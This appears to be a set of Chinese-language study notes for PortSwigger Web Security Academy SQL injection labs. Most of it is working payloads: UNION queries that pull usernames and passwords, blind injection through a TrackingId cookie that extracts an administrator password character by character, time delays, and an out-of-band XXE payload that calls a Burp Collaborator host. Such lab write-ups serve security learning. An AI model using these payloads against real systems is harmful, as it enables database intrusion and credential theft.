https://ac101f471fe7c32680fb6ce4002400dc.web-security-academy.net/filter?category=Gifts%27%20UNION+SELECT+NULL,null,null--
2. UNION attack, finding a column containing text
union攻击,查找一个文本类型的字段
通过第一节的方法确定表有3个字段数;
依次把null换成字符串,确定哪个字段是字符类型;
' union select null,'a',null--
3. UNION attack, retrieving data from other tables
union攻击,从其他表中检索数据
先确定有2个字段数;
2个字段都是字符型;
从users表中查询用户名和密码
'+UNION+SELECT+username,+password+FROM+users--
4. UNION attack, retrieving multiple values in a single column
union攻击,通过一个字段检索出多个值
确定是2个字段数,而且只有第二个字段是字符型;
通过以下方式,一个字段返回了2个值;
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
5. querying the database type and version on Oracle
确定Oracle数据库类型以及版本号
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
9. Blind SQL injection with conditional responses
根据条件返回的SQL盲注
使用burp拦截请求,cookie中有个参数:TrackingId=xyz,输入TrackingId=xyz' AND '1'='1时,会返回"Welcome back" ,输入输入TrackingId=xyz' AND '1'='2 时,"Welcome back" 没有返回,确定该参数可以SQL盲注
输入:TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a,如果为真,说明users表存在;
输入:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a,如果为真,说明存在用户名 administrator;
输入:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a,如果为真,说明密码长度大于1;
确定密码长度后,就可以开始确定每个字符是什么,输入:TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a ,判断密码的第一个字符,如果为真,说明是a,如果不为真,依次进行判断,可以用burp的intruder模板进行爆破;
第一个字符确定后,再依次确定后面的字符:TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a,最终得到完整地密码。
10. Blind SQL injection with conditional errors
根据错误条件的SQL盲注
因为返回的500错误是通用的错误,不能确定是SQL语法解析错误还是其他错误。为此构造SQL子查询,非Oracle数据库执行:TrackingId=xyz'||(SELECT '')||',Oracle数据库执行:TrackingId=xyz'||(SELECT '' FROM dual)||',如果没有报错,查询一个不存在的表:TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||',如果报错,则可以确定存在注入;
只要确保始终注入有效的SQL查询,就可以使用此错误响应推断数据库的关键信息。如:TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||' ,如果条件为真,说明存在users表;
还可以测试条件语句:TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||',因为when语句为真,执行to_char(1/0) 产生错误,所以返回错误信息;
输入:TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||',返回正确;
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
确定密码长度,如果密码长度大于1,执行to_char(1/0),返回错误,根据之前的方法确定密码长度20位:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
确定密码具体内容,方法同上
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
11. Blind SQL injection with time delays
基于延时的SQL盲注
抓包,还是TrackingId参数;
TrackingId=x'||pg_sleep(10)-- 延时10秒
12. Blind SQL injection with time delays and information retrieval
基于延时的SQL盲注并且检索数据
13. Blind SQL injection with out-of-band interaction
带外交互的SQL盲注
抓包,还是TrackingId参数
结合XXE攻击,其中EXTRACTVALUE()是对XML文档进行查询和修改的函数:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
14. Blind SQL injection with out-of-band data exfiltration
SQL盲注,通过带外交互获取数据